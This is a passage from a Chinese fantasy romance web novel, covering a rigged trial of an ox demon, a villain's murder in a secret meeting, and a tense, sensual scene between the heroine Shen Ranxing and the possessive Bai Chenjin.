陈大人威严地打断她,眼神轻蔑,“本官办案,岂容你指手画脚,你说蹄印不符?谁能证明这拓印的就是当时的蹄印,而非你事后伪造,那白色粉末荒山野岭,有点异物有何稀奇,怎能断定就与本案有关?分明是强词夺理。” “此案已审结,牛妖伤人之罪,证据确凿,依律当斩。” 沈染星脑海一声惊雷,她彻底明白了。 这大人哪里是不明是非? 他分明是与那背后陷害之人早已联通一气! 他根本不在意真相如何,他就是要快刀斩乱麻,在牛妖被处决,死无对证之后,将所有罪名彻底坐实。 到时,那些粉末和蹄印的疑点,自然随着凶妖伏法而烟消云散,再无人追究。 而这共生契约,也会被打上不可靠,危险的标签。 好狠毒的心思。 陈大人根本不给沈染星再辩驳的机会,打算扔下了斩令,将牛妖押赴刑场,傍晚时分处决。 缚在一旁的牛妖也显然知道陈大人对自己的判决,在沈染星再次开口拖延时间之前,它自己便嗷嗷地嚎了起来。 它嗓门本就大,如今还情绪激动,差点没把衙门的房顶给掀起来了。 陈大人无论说什么,甚至扯着嗓子嘶吼,都被掩盖在它的嚎叫声下。 他只能重重砸下那惊堂木。 这惊堂木的声音倒是能听得见。 可……这牛妖哪是个听话的。 它只顾着自己嚎。 一心一意地咆哮公堂。 沈染星本就得想办法拖延时间,如今见它自己能嚎,便捂着耳朵,由着它了。 陈大人一怒之下,哐哐敲着惊堂木,猛站起身来,愤怒地指来指去。 可在牛妖的声波攻击下,一切都仿佛变成了哑剧,公堂之上,拉牛的拉牛,指挥的指挥,四处奔走的身影匆匆,成乱糟糟的一片。 堂外围观的百姓何时见过此等盛况 ,个个捂着耳朵,探头探脑,龇着大白牙吃瓜。 这一场闹剧,还是在一名中年男子的到来后,才渐渐平复下来。 这名男子名叫秦庸,是秦府的大管家,有时会跟在秦昭左右,沈染星见过几面。 他身着靛蓝色长衫,面容精干,为人性子不紧不慢,平日走起路来步履沉稳…… 可如今他却迈着小碎步快步跑入公堂。 沈染星正捂着耳朵,惊叹牛妖的肺活量,肩膀被人碰了一些。 她转头看去,秦庸跟她比划着什么。 虽然听不到,但也大致理解他的意思。 沈染星走到牛妖旁,握住它的牛角摇了好半晌,也不见他它停下来,干脆一巴掌扇过去。 这一巴掌效用奇好,牛妖的眼神顿时清澈了。 委屈巴巴的看着沈染星。 沈染星摸摸它的头道:“好啦好啦,我知道不是你,会给你一个公道的。” 喧闹的公堂终于安静下来。 连堂外的百姓也不再窃窃私语,谁不知道秦家在本地的影响力,即便是陈大人,也要卖秦家几分面子的。 秦庸先是对陈大人恭敬地行了一礼,然后不卑不亢地道:“大人,此事恐有蹊跷,我家主人与共生苑素有生意往来,深知其驯妖有道,管理严格,牛妖突然发狂伤人之事,或许另有隐情。 “还请大人明察,暂缓行刑,以免错杀无辜,也寒了正当经商者的心。” 陈大人扶正官帽,脸上露出明显的犹豫之色。 秦家出面,这个面子不能不给。 更何况这清风堂是故意护着这牛妖,把他架在这里的。 若是草率处决,日后万一清风堂插手,查出真是实情,他的官声也要受损。 “这个……”陈大人沉吟片刻,变卦太快,未免太过草率。 他打算再辩论几个来回,再宣布判决拖延。 秦庸见陈大人态度,便知事已成,只是对方需要一个台阶。 他脸上露出一丝满意的微笑,正准备再向陈大人进言几句,确保此事稳妥。 然而,他刚要开口,肩头搭上了一只骨节分明的手。 秦庸浑身猛地一僵,所有的话都卡在了喉咙里。 他武功不低,可一点没察觉这只手的主人是什么时候,又是如何出现在他身边的。 一股冰冷刺骨的寒意从那手掌接触的地方蔓延开来,渗入骨髓,让他无法动弹。 他脖子一侧,甚至能感觉到那只手的危险,来人想杀他的话,他根本躲不开。 他僵硬地、缓慢地转过头。 对上了一双灰蓝色眸子,深不见底,阴冷瘆人。 跟着秦昭走南闯北多年,秦庸识人记人能力超群,更何况是这样一位特殊的人。 此人是那个一直沉默跟在沈染星身边的人。 他手上,脸上,脖颈都缠着素帛,透着一股不祥与病态的气息,可衣着奇怪的人不少,他之前并未过多留意。 但此刻,如此近距离地被这双眼睛注视着,秦庸只觉得头皮发麻,灵魂都在战栗。 他甚至毫不怀疑,对方是想杀他的。 可他明明是来帮忙的,又为何这般? 突然间,他想起了自家主子对沈染星的心思,该不会是因为那种事情吧…… 为了儿女情长,如此不顾大局? 整个公堂的气氛,因白尘烬这无声的出现和动作,再次陷入了一种诡异的死寂。 对于白尘烬忽然出现,沈染星也一头雾水,甚至没能立刻反应,只呆呆地看着他。 他这又是生的哪门子气? 此时,后堂的帘子被轻轻掀开。 一直未曾露面的师爷,面色凝重,脚步略显急促地走了出来。 他先是恭敬地对陈大人行了一礼,然后才凑上前,以袖掩口,在陈大人耳边低语了几句。 沈染星不再看白尘烬,注意力被陈大人吸引了过去。 那一场混乱已过,陈大人已经把自己收拾妥当,端坐于堂上,面色威严,端起茶水刮着浮沫。 可在听到师爷的耳语后,端着茶碗的手顿了一下,磕出一声轻响。 他脸上的肌肉紧绷了一瞬,连忙放下茶碗,又侧头和师爷交流了好半晌。 那师爷嘴唇微动,神色极其严肃,甚至带着一丝不易察觉的惊惶。 陈大人坐直身子,没了先前的威严之感。 沈染星不动声色看着他的变化。 这是…… 那一股隐隐的势力又出手了? 不出她所料。 这一次,陈大人直接宣布无罪释放,钱老板与那一众旁听的对家皆不可置信,纷纷提出抗议。 陈大人却不再留任何情面,甚至暗暗点出他们陷害的心思,以示敲打。 说完,没有再给任何人反驳或询问的机会,便猛地起身,袍袖一甩,在师爷的紧随下,快步转入了后堂。 待陈大人身影消失在后堂,沈染星目光下意识地转向白尘烬。 沈染星:…… 他人又不见了。 只剩秦庸站在原地沉思,想必他也不明白其中关窍。 沈染星过去和秦庸寒暄几句,二人各怀心事,于公堂外分别。 之前,沈染星便隐隐觉得白尘烬身份不简单。 原书中只提到了他自小养在师父身边,后来师父遭师娘背叛惨死,他便独自一人闯荡,之后遇到萧霁雪,在那之后,便一直守在萧霁雪身边。 暗暗护着萧霁雪,为她杀人,为她扫除障碍。 按书中剧情推算,他要在两年后,才会遇见萧霁雪,可从他的反应来看,早就认识她了,甚至关系不错。 或许在他遇见师父之前,便已经与萧霁雪相识。 能自小认识四大驯妖司之一朱雀司的大小姐,还让大小姐处处费心关照的,自然不会是寻常人家。 沈染星有一个疑惑。 为何他们相遇时,萧霁雪似乎并不认得白尘烬的名字。 得到的信息太少,沈染星无法推断,只能将这个疑问暂时搁置。 几日过去,共生苑内的血腥气已散。 牛妖看着是个老大粗,实际上胆小如鼠,经过那日的事情后,一连几日都做噩梦。 沈染星每日都要去牛棚安抚一番,亲手喂它吃几把鲜嫩的草料,轻抚着它宽厚的脊背。 若是还继续嚎,发出各种噪音污染,就……一巴掌拍下去。 每每此时,它的情绪就会平稳了许多,可还是嘀嘀咕咕的,搞得它邻居们连连投诉。 沈染星坐在围栏上,刚拍完它,威胁道:“你再吵吵,我真把你炖了,你信不信!” 牛妖不服气,低低地哞个不停。 这边正针锋相对,不远处传来脚步声。 沈染星看过去,秦昭自院门而入,依旧是一副温文尔雅的模样,只是眉宇间带着一丝恰到好处的关切。 “染星,前几日我有事在外,赶不回来,听闻院中前几日发生了不少事,可还安好?” 牛妖一听,又想闹,沈染星又抬起手往它脑袋一拍,把它的嚎叫拍了回去。 “只是一点小风波,已经解决了。” 秦昭走到沈染星身边,伸出手:“之前与与钱老板勾结,设计陷害你们的那些妖院,无一幸免,都倒了。” 沈染星没想那么多,把手放到他掌心。 秦昭握住她的手。 她借力跳下围栏:“那么快,谁做的?” 站稳后,她立即收回了手。 秦昭虚拢着拳,垂在身侧,语气带上浅浅的笑意:“我做的。” 沈染星:? 他淡淡道:“多行不义必自毙,他们做的肮脏事不少,这也算是报应了。” 沈染星倒吸一口凉气。 秦昭表明看着和善,芯可能是黑的。 一出手,居然把那些人全给摁死了,不过也是,敢和白尘烬硬刚的,手段估计也不会多温柔。 秦昭知她心中大致想法,静静观察了她的神色片刻,才道:“那日你们受到袭击的事,虽然已经报了官,但不会有任何结果。” “为什么?” 其实沈染星也有所预感,不过从秦昭口中听到这个消息,还是让她有些惊讶。 “那些人,训练有素,手段狠辣,是专门圈养的死士,那几个小妖院可请不动,背后的人……”- 幽暗的密室里,只点着一盏昏黄的油灯,将人影拉得扭曲变形。 一道仙鹤屏风将空间隔开,屏风后,隐约可见一个窈窕的女子身影端坐着,气息阴冷。 李老板站在屏风前,脸上带着几分不以为然,甚至有些倨傲。 “李老板,”屏风后的女子冷冷道:“谁告诉你,用沈染星作为诱饵的?” 李富裕自流芳阁重创一事后,得了国师赏识,一连涨了数级,自认为自己早已脱胎换骨。 他浑不在意:“既然有个现成的诱饵,我为何不用?” 有想要保护的人,便会有弱点。 白尘烬背后牵扯颇深,组织不可彻底暴露直接派杀手杀白尘烬,于是李富裕把目标放到了沈染星身上。 白尘烬为救他人而死,这个可怪不到他们身上。 “所以你便擅自派人去冲击共生苑,导致好不容易埋进共生苑的钉子都被拔了?”女子语气愈发冰冷。 李富裕被戳到痛处,脸色一沉,恼羞成怒道:“成大事者不拘小节,那不过是必要的牺牲……我看是你妇人之仁,对那沈染星,对那妖院,你总是诸多顾忌,迟迟不肯下狠手。” 他仗着自己在组织内与女子平级,说话愈发不客气。 密室内的空气瞬间降至冰点。 屏风后的女子沉默了片刻:“簪子带来了吗?” 李富裕从怀里掏出一支朴素的簪子,顶端是一颗暗淡的珍珠,缝隙里还凝着褐色的血迹。 “这簪子……我突然又有了想法,不如把它送到贾家,贾家定不会放过沈染星,我们可以坐山观虎斗……” 李富裕一愣,没有继续说下去。 他看到屏风后的女子缓缓踱步而出。 “居然是你……”李富裕的话还是没能说完,他难以置信地低下头,一截闪烁着幽蓝寒光的剑尖,不知何时已从背后穿透了他的心脏。 他张了张嘴,想说什么,却只有鲜血汩汩涌出。 他艰难地转过头,想看清是谁动的手,没看到人,便轰然倒地,生命急速流逝,视线开始模糊。 女子的锦缎鞋子无声地走到他面前,停住。 她弯腰捡起那簪子,声音冰冷而平淡:“杀他,但不能是我们光明正大地去杀。除非……那一直护着他的势力,亲自放弃他。而你,差点毁了这一切。” 李富裕的眼睛瞪得极大。 可他根本没有光明正大去杀他,只是利用了一个棋子而已。 她在诬陷他,给他的死找理由。 果然,下一刻,他听见那女子道:“李富裕差点暴露组织,我已经把人解决了,你们处理好尸体。”- 沈染星把秦昭送走后,独自回到书房。 今日从秦昭那处获取的信息量很大,她正想得入神,没注意到一道身影已从窗口闪入。 等她察觉到时,白尘烬的阴影已经压倒她身上。 白尘烬看着她,逼近一步,周身散发着骇人的侵略性。 沈染星不由得往后退了一步,谁料背后是案桌,她踉跄一下,背靠着桌沿,手往后撑在桌面上。 白尘烬没有说话,依旧朝她走进,两人衣摆相触,几乎要不分彼此。 再近一些,他膝盖就要顶到她大腿了。 时隔多日不见,他总是气压极低。 沈染星不知是兴奋,还是惊惧,心脏不受控制地狂跳,往后仰着的姿势让她没有任何防御意味。 他注视着她。 暴露感太强,她只能一手撑在桌面上,一手环在身前。 白尘烬视线缓缓下移,落在了她手上,死死盯住。 沈染星目光随他落到自己手上,迟疑开口:“我的手……怎么了吗?” 不说还好,一说,白尘烬的气压更低了。 第40章 你是想亲我吗? 为何?她就这般自然而然地把手放到别人的掌心里了。 白尘烬不懂, 为何她能将这份独一无二的亲近,如此随意地给予旁人。 难道对他所有的依赖与靠近,真的不过是别无选择下的权宜之计吗? 可她又为何要对他说那样的话,做那样的事? 白尘烬看着沈染星, 又往前逼近一下, 膝盖已经顶到她两腿之间。 她呼吸急促, 再次往后仰了些,她又在恐惧他了吗? 她在害怕他的接近。 他并不惊讶,他们本就是不死不休的关系, 他不止一次升起杀死她的念头。 即便杀不了她, 他也会摆出那样的姿态。 只有这般, 她才会注意到他,才不会忽视他。 只是她接触了秦昭,那个面慈心狠的人后,他才知道,其实只需要朝她伸出手, 她便会靠近。 那时, 秦昭的掌心正无耻地覆盖其上, 亵渎了原本只属于他的领地。 她却浑然不觉, 反而借用了那只手的力道。 肌肤紧贴,陌生的温度侵入她的手,散入她的体内,与她的混合。 白尘烬甚至还觉得她的肌肤上,还残留着一丝不属于她的温度。 他变得呼吸粗重, 暴怒混杂着尖锐的刺痛,在他胸腔里横冲直撞。 他避着她,自以为的安全距离, 最终似乎会变作无可跨越的鸿沟。 他在嫉妒,在害怕失去,甚至还夹杂着杀意。 白尘烬思绪一阵混乱,待回过神来时,他已经一把扣住了沈染星的手。 手心和她的手背亲密无间地紧贴在一起,似乎在试图抹去那人在她手上留下的痕迹。 冰冷的指尖激得沈染星轻轻一颤,她的手带着轻轻的反抗力道。 白尘烬低声道:“我不会遇见更好的人。” 沈染星疑惑地看着他。 他接着道:“我喜欢你。” 沈染星恍然大悟,他这是回答前段时间的问题。 “你知道了,所以你下一步会做什么,”白尘烬道,“会离开我,还是操控我?” 他杀不了她,所以她得寸进尺,对他攻池掠地。 他分明知道的,却只能眼睁睁看着,无力阻止。 他会落入与师父一样的境地,会粉身碎骨,会众叛亲离,这是一种近乎自毁的选择。 无所谓……只要,把她夺回来。 操控? 只能寻求他的保护而已,也谈不上操控吧! 沈染星吞咽一下:“让你不杀我,保护我,也不算操控你吧……” 白尘烬不再说话,只是视线一直幽幽落在她脸上。 他今日不知怎么了,一步步逼近,将自己困在方桌与他胸膛之间,那双总是阴冷的灰蓝眸子里,是她看不懂的情绪。 不是平日的冰冷杀意,也不是偶尔流露的偏执,而是一种近乎破碎的,带着滚烫温度的东西。 沈染星心底没来由地一慌:“出什么事了吗?” 她不怕他杀人,不怕他冷脸,却独独害怕他此刻这种难以理解的失控。 她甚至开始怀疑,是不是有什么她不知道的,更严重的事情发生了。 否则…… 谁家表白,还带着一股即将上刑场,引颈受戮的气势啊? 白尘烬一字不说。 一股寒意顺着脊椎爬上来,沈染星的嘴角顿时就耷了下去。 完了完了,这一次的事情似乎真的很严重。 难道就像秦昭说的,暗中那股势力杀不了白尘烬,把注意打到她身上了吗? 是不是他护不住她,所以才……说些话来哄她。 这么一想……他还怪有良心的咧。 他攥手的力度很大,有些疼,沈染星无暇顾及,全心全意关注她的小命:“我死期到了吗?” 白尘烬阴冷的眸子茫然一瞬,没等来她后续的解释,却等来了奇怪的问题。 看,他沉默了!沈染星心头突突地跳。 他答应不杀她,但也不会像原书护着萧霁雪那般,护着她。 所以她小命危险了。 不对,她还可以接受秦昭的提议,离开白尘烬,连人带院归到秦昭麾下,为秦昭做事,以换得保护。 目前好像也只有这个选择。 沈染星强压下心头的慌乱:“这种情况,如果你不乐意护我的话,其实也可以,我有自己的办法。” 其实前段时间的问题,能得到白尘烬的回答,她本该是高兴的。 只是生死大事压在头上,那一点不知虚实的喜悦,便一下子被冲淡了去。 沈染星想扯回自己的手。 纹丝不动。 再扯。 白尘烬肌肉一瞬绷紧,一把扯过她的手,按在他胸膛上。 他垂眸看着她:“我乐意,我会护着你。” 沈染星的手背紧贴着他的心口,他说话时,能感受到那肌肉下的微微震颤。 震得她的手一阵酥麻,自经脉一路向上,最终停在怦怦狂跳的心脏,身体也一阵发软。 自那一日后,沈染星和白尘烬的关系又恢复到了从前。 当然这也是有代价的。 那便是沈染星不能再见秦昭。 而秦昭,也果真如他素日表现的那样,是个最善解人意的君子,自那之后,他寄来的信函,只谈公事,措辞严谨,分寸拿捏得恰到好处,再没有半分逾越私人情谊的字句。 他体贴地退到了一个最安全,最不会让她为难的距离。 这份体贴,沈染星心中感念,却也感到有些承受不起他的照顾。 她和秦昭日渐疏离,最愤愤不平的,是纪明月。 白尘烬归来,秦昭退出,这可把她气坏了,一连几日,她都对着沈染星甩脸子。 连院里的小妖都无比敬佩纪明月,她居然敢给东家甩脸子。 沈染星为此还郁卒了一小段时间。 倒不是真跟纪明月这冷酷姐置气,她只是担忧。 担忧自己这“东家”的威信是否受到了动摇。 这一院子的妖,个个都是古灵精怪,各有性子的主儿,若是因为纪明月此举而觉得她软弱可欺,担心日后难以管束。 她甚至开始琢磨,是不是该找个机会,稍稍立个规矩,挽回一下颜面。 然而,事实证明,她多虑了。 因为,有白尘烬在。 他行踪莫测,有时几日不见人影,可大多时候,他都跟在沈染星身侧。 一院子的妖在他的威慑下,乖得跟鹌鹑似的。 后来,沈染星和纪明月的关系缓和,还多亏了云阔,云老先生。 云老先生是一个守时,且守信的人。 他说卯时正刻到,绝不会拖到卯时一刻,他说三个月为期,那便是九十个日夜,一天不多,一天不少。 当时沈染星与他相约,三个月内帮他寻到合适的传讯大妖。 这一日,恰是约定的第九十日,日头的位置都与三个月前分毫不差时,云老先生清癯的身影便准时出现在了妖院大门,袍袖翩翩,一丝不苟。 找不到妖不可怕,可怕的是,这定金,是无论如何也得吐出去了。 将老先生迎进客厅看茶,沈染星心里滴着血,面上还得维持着镇定,对侍立一旁的石多磊叹了口气,确认道:“多磊,确实是没有合适的,对吧?” 石多磊无奈地摇了摇头。 沈染星认命般地挥挥手,声音都透着一股无力:“去吧,把云老先生当初付的定金,原封不动地取来。” 她整个人像是被抽掉了精气神,肩膀微微垮下,眉眼间尽是颓唐。 苍天呐! 一下子三百两没了! 恰在此时,纪明月经过,进来了解情况后,打断了石多磊正要退下去取银子的动作。 随后她进行了单刀直入,近乎无礼却又切中要害的谈判,成功将这单子续三个月。 沈染星在一侧暗暗崇拜。 瞧,这就是纪明月敢对东家甩脸子的底气! 一个月的时间悄然流逝。 符合云老先生要求的传讯大妖依旧杳无音信。 厅内的气氛有些凝滞,沈染星、石多磊,连同难得参与讨论的纪明月围坐在一起,空气中弥漫着淡淡的焦灼。 “妖市我已经翻了个底朝天,有几个速度尚可,但灵智不高,难以胜任复杂传讯,”石多磊搓着下巴,眉头紧锁,“有几个灵智够了,但血脉天赋不行,无法远距离维持讯息稳定。” 沈染星揉了揉太阳穴:“其他途径呢,比如通过一些猎妖的人直接买。” “试过了,”石多磊摇头,“回应寥寥,都说这类擅长飞行的妖族本就难捉,且捉了驯化后实力大减,神智有损,与一般的相差不大,根本没人愿意可以去捕捉大妖,除非……” 沈染星道:“除非?” “我们开悬赏。” “那算了,”沈染星立即便拒绝了,“大不了不做这一单生意了,因为我们悬赏而被捕的妖,先不说良心过不过得去,就是对方愿不愿意配合,都是一个极大的问题。” 一直沉默旁听纪明月,忽然抬眸,声音清冷,抛出一个地方:“流芳阁问了吗?” 石多磊先是一愣,随即猛地一拍大腿:“对啊,流芳阁,我怎么把这茬给忘了。听说它上月就换了东家,重新开张了,那里各种珍奇妖物都有,或许还真能找得到。” 石多磊顿了一下,道:“雪拂不就是那里出来的吗?” 纪明月垂眼,淡淡“嗯”了一声。 “流芳阁……”沈染星听到这个名字,脸色却微微变了一下。 那的确有许多珍奇妖物在售,流芳阁还遍布全国,即便这里一处的流芳阁没有,还可以从其他地方调过来。 不过…… 她下意识地瞥了一眼靠在窗边阴影里,置身事外的白尘烬。 对流芳阁的印象,还停留在这位大爷血洗杀戮的画面上,虽然最终事了,但那地方留给沈染星的印象,是混乱、危险,以及与白尘烬某些过往紧密相连的忌惮。 让她主动再去那个地方,心里实在有些发怵。 石多磊还在兴奋地分析流芳阁的可能性,纪明月则在一旁冷静地补充。 两人一言一语,都有道理。 沈染星内心挣扎,忍不住又将目光投向白尘烬,想从他那里得到一点暗示,或是阻止,或是……别的什么。 白尘烬身形颀长,看着窗外的风景。 直到感受到沈染星的目光,他才缓缓转过头来。 窗外光线落在他侧脸上,映得轮廓分明,素帛缠着脸庞,沈染星看不出他的表情,却看到他眼眸带了点灰蒙蒙的柔和。 她的心轻轻漏了一拍。 她和他的关系似乎不仅仅是回到了从前,可以说比从前更亲密了,连那层似有非有的薄膜,也撕开了。 “染星,你觉得如何?”纪明月问。 沈染星收回神思。 血洗什么的,于白尘烬而言,似乎是一件寻常的事,并不值得过分在意。 所以流芳阁对他来说,或许也与街上任何一家茶馆酒肆并无不同,过往种种并未留下痕迹。 看到他这般反应,沈染星心下稍安。 寻找传讯妖的事情不能再拖了,云老先生给的宽限时间宝贵,她终于点了头。 纪明月做事一向干脆高效,不过一天时间,她便打通了所有关系。 沈染星打算择日带上石多磊一起去看看。 太阳落到西边院墙的头上,油亮亮的,暖光斜斜地打过来,把院子里的每一样东西都拉出长长的影子。 小厅内灯火温润,沈染星与白尘烬相对而坐,桌上几样清淡小菜,两人安静用餐,只有碗筷轻微的碰撞声。 沈染星正琢磨着去流芳阁的具体安排,乔阿盈脚步匆匆,寻了过来,面露惊惶。 “东家,不好了,不好了!” 沈染星:…… 她真是……一点都听不得这一句话了! 一天天的,没个消停日子。 沈染星啪地一下,放下筷子:“谁又在闹事了吗?” 乔阿盈慌忙道:“不是不是,不知怎么,后院突然起了阵带着腥气的怪风,惊扰了不少小妖,现下正乱着。” 闻言,沈染星心中一凛,看向白尘烬。 白尘烬执箸的手微微一顿,抬眸看来,轻轻皱了一下眉头。 那就是来者不善。 “去看看。”沈染星起身,白尘烬也随之站起,两人一同向外走去。 夜色初降,廊下的灯笼映出朦胧的光晕。 刚穿过连接前院与后院的月洞门,沈染星便瞧见纪明月也快步从另一角门走来,身后跟着雪拂,恰好与他们迎面相遇。 纪明月依旧是一副冷冰冰的模样,见到他们,只是淡淡瞥了一眼,算是打过招呼。 纪明月冷便算了,雪拂一袭白衣,周身气息也冷冷的,像一个精致的雪人。 几人一同快步走向后院。 他们二人的气压越来越低,沈染星静静走在一旁,不敢吭声。 估摸是两口子又闹别扭了。 她余光扫过纪明月。 纪明月今日穿着素净,发间别着一根木簪子,素木底色,只簪头有一点暗红。 此刻,在廊下昏黄的光线里,那点暗红似乎活了过来,颜色变得鲜艳欲滴,并且沿着簪身向上蔓延了一小段。 这异常的变化很轻微,沈染星再看去时,那点鲜红劲消失了。 又多看了几眼,还是没发现异常,她便权当是错觉。 越靠近后院,那股不安的气息就越发明显。 强大的威压,夹杂着一种粘稠的,带着腐朽气息的腥风,若有若无地盘旋着。 平日里还算安分的花草精怪们蜷缩着叶子,几只小妖缩在假山缝隙里瑟瑟发抖,连平日里无法无天的九音鸟,都安安静静缩起了脖子。 “怎么回事?”沈染星沉声问道,目光扫过昏暗的院落。 “不知道啊东家,”九音鸟颤巍巍地回答,“就是刚才,一阵风刮过,带着像是水底烂泥和铁锈混在一起的味道,冲得很,然后大家就都觉得心慌意乱的。” 沈染星凝神感知,除了腥气,她感觉不出古怪。 还欲往前去查探时,白尘烬抬手,拦着她身前。 沈染星疑惑抬头。 白尘烬并未看他,只是冷冷盯着前方阴暗的角落,那里草木茂盛,是个藏身的好地方。 “是重伤的妖,你先躲远点。”他说道。 原来,那引起后院骚动的,并非什么心怀叵测的入侵者,而是一只受伤极重、仓皇逃窜的大鹏妖。 它双翼血迹斑斑,金色的羽毛凌乱不堪,显然是经历了一场恶斗。 即便在共生苑,白尘烬也费了不少功夫,才把它给捉住。 沈染星看着一片狼藉的院子,捂着因即将失去大批银子装修而抽疼的心,问出了大鹏妖的来历。 它被灵缉司的高手围捕,不知经历了怎样惨烈的搏杀,才勉强挣脱罗网,慌不择路之下,一头栽进了沈染星这处妖气盘踞的小院。 这突如其来的天降之物,让满院小妖惊惶不定,却也阴差阳错地,正好撞上了沈染星苦寻多日的目标。 云老先生所需的那类擅长远距离传讯的妖族之中,血脉强横,天赋异禀的大鹏妖,无疑是上上之选。 但这只大鹏妖……来历不明,敌友难辨。 灵缉司是御妖台下三司之一,主要负责侦查妖踪,他们追捕的,多半不是良善之辈。 它此刻重伤垂危,当然易于控制,未来伤势好全,那就未必了。 沈染星打定主意,先将这大鹏妖留下来。 一方面,小心照料其伤势,至少要保住它的性命,展现善意,便于后续接触。 另一方面,她需要仔细观察,它是否适合留在这里。 踏破铁鞋无觅处,得来全不费工夫。 初步了了一件大事,沈染星晚上睡得十分香甜。 可只是甜了半个晚上。 夜色深沉,沈染星被一个梦惊醒了。 梦中,她眼睁睁看着白尘烬身穿一身她从未见过的华服,华服绣着繁复云纹,层层叠叠,庄重威严。 他的神情更是她从未见过的温柔缱绻,而他身边,站着一位面容模糊却气质清雅如莲的女子。 那女子朝白尘烬伸出手,白尘烬便毫不犹豫地转身,跟着她一步步走向一片耀眼的光晕,连头都没有回一下。 沈染星在梦里拼命喊他,声音却像被棉花堵住,怎么也发不出来。 她猛地睁开眼,心脏还在怦怦直跳,额角渗出细密的冷汗。 窗外天色依旧墨黑,寂静无声。 她急促地呼吸了几下,才确认那不过是一场梦。 缓了好一会儿,急促的呼吸才渐渐平复。 黑暗中,她几乎是本能地转向身侧的白尘烬。 白尘烬睡得很沉,轮廓在朦胧的夜色里,显得分外安静。 他回来了。 如同往常一般,静静躺在她身侧。 沈染星听见自己浅浅的呼吸声有些乱。 一个前所未有的念头,如同破土的新芽,带着一股豁出去的决绝,猛地窜了上来。 既然他现在真真切切地在她身边,在她触手可及的地方…… 她为什么不能主动留住他? 她忽然不想再遵循什么既定的轨迹,也不想再小心翼翼地维持那脆弱的平衡了。 她不想放手。 这个念头一旦生出,便如同野火燎原,瞬间烧毁了她所有的犹豫。 沈染星心想着,微微支起身子,朝着白尘烬的方向凑过去。 生灵涂炭那是原书的情节。 国师夺权不成,大动怒火,在妖族进攻时,故意使了手段,使得人族兵将无力抗战,妖族肆虐,民不聊生。 国师想以此逼迫皇帝给自己放权,不过,多亏了原书男女主,最后他的计谋还是未能得逞。 生灵涂炭的根源并非她的存在,而是国师对权力的贪婪。 因此,即便她留在这里,留在白尘烬身边,也并无不可。 她想得入神,没注意到白尘烬已经睁开了双眼。 再次回神时候,猛地撞入了他的眼眸里。 白尘烬眼眸没有初醒时的迷茫,眼神清醒,锐利,带着逼人的攻击性,瞬间锁定了她。 沈染星的心脏猛地一缩,身体先于意识想要后退:“你也醒啦?” 白尘烬并未说话,抬手,覆上了她的后脖颈,微微用力,阻止了她的逃离。 手心是温热的。 这个认知像一道细微的电流,窜过她的脊柱。 从前,他偶尔也会这样带着掌控意味地掐住她的后颈,但那时他的手总是冰冷,带着浓浓的威胁意味。 此刻,却是灼热的,滚烫的,烫得她肌肤一阵战栗。 这种被掌控,被禁锢的感觉,非但没有让她恐惧,反而像是把如同浮萍一般漂浮不定的她,牢牢地定住了。 隐秘的兴奋感如藤蔓般,缠绕上她的心脏。 沈染星看着他,心底那个疯狂的念头再次浮现。 她不愿放他走了,想把他留在身边。 白尘烬凝视着沈染星,视线缓缓下移,最终落在她的唇上,变得暧昧而专注。 她的唇形很好看,不算太薄,有着天然的、柔润的弧度。 或许是因为刚才的惊醒和此刻的紧张,唇瓣微启,色泽比平日里更红润一些,像浸过露水的花瓣,在幽暗的光线下泛着诱人的光泽。 他甚至能想象到那触感,柔软,微凉,手指按下时,可以陷进去。 在他掌心的禁锢下,她显得如此脆弱,又触手可得。 可正是这种触手可得,反而勾起了他心底最深的不安。 他太清楚她的吸引力,也太清楚自己沉沦的程度。 今日看到她蹲在地上,轻声细语地安抚那妖,为它疗伤,给它喂食,他几乎要控制不住,差点杀了它。 害怕失去的恐慌,与想要彻底占有的欲望,在他胸膛交织着,冲撞着。 他到底该拿她怎么办。 他手臂稍稍用力,将她往下压了一点,使得她的脸离自己更近,呼吸清晰可闻。 沈染星眼睫轻颤,喉间溢出一声轻轻的惊呼,不像拒绝,更像是某种默许和邀请。 他想亲吻她。 这个念头强烈得几乎要炸裂。 不仅仅是唇瓣相贴的浅尝辄止,他想要更深入地探索和占有。 他想用舌尖撬开她的齿关,纠缠她的柔软,品尝她独一无二的气息,让彼此的呼吸和温度彻底交融。 不止。 一个更清晰的声音在脑海中叫嚣。 他更想她来吻他。 像上次那样,她主动凑上来,带着生涩却坚定的热情,轻轻啄吻他的唇…… 那样便足够了吗? 心中突然冒出一个疑问。 不够,答案几乎是瞬间涌现。 他想要更深入,更彻底,试探,然后一点点深入…… “你是想亲我吗?” 她的声音清脆,瞬间拉回他的神思。 白尘烬的呼吸一瞬窒住了。 他想,可也不想。 他不知道二人的关系更进一步后,会不会加速走到令他无法接受的结局。 他没办法想象,某天醒来,她像师父爱上的那个女人一样,永远消失了。 师父尚且还可以怪罪到他头上,可他除了自己,还能怪谁? 他根本无法承受那个结果。 所以只要这样便好。 只要维持现状。 他喉结重重滚动了一下,缓缓松开了她。 “不……”想。 他的回答没能说完,沈染星双手捧着他的脸,俯身而下,吻了上去。 凡事不过三。 她已经饶了他两次了。《 》 40-45 第41章 她似乎是打开了什么不得…… 才触碰到他的唇, 白尘烬突然扣住了她手腕,起身,将她按在了床榻之上。 等沈染星反应过来,脊背已深深陷入柔软的锦被之中, 周身被他的气息和重量禁锢, 动弹不得。 白尘烬撑在她上方, 呼吸粗重,凌乱,侵略性的气息如一张无形的网, 将她牢牢笼罩。 沈染星抬眼对上他的眼睛, 吓了一跳。 只是轻轻亲了一下, 他双眼已变成幽深的灰色,沉得瘆人,几乎带上无法压抑的兴奋。 之前不是没亲过,可那一次他的反应十分平淡,甚至还有心思吓她, 说她中毒了…… 自那之后, 她便以为轻吻和牵手, 对他而言, 并无不同。 都只是肢体触碰而已。 可这一次,他怎么反应如此剧烈? 白尘烬看着她,一把扯开了蒙在脸上的绷带。 绷带半落,虚掩着他轮廓分明的脸,这种半遮半掩的破碎感, 简直比完全的裸.露,更令人血脉喷张。 沈染星呼吸一滞。 目光不由自主地滑过他乍现的下半张脸。 昏暗光线,也能看见他紧抿的薄唇, 凌厉的下颌线条,颈间滑动的喉结,精致的锁骨,每一处肌肤的细节都因克制而显得紧绷。 沈染星的心跳如擂鼓。 她感受到了他身上传来的剧烈挣扎,理智与本能、克制与渴望的殊死搏斗。 空气中弥漫着令人焦灼的热度,他的呼吸愈发沉重,仿佛已濒临某种极限。 此时,她有种错觉,她似乎是打开了什么不得了的开关。 她有些忐忑,又……有些期待。 不过他再这么挣扎下去,她担心他会缺氧。 “别勉强……”她刚想开口安抚,让他放松些。 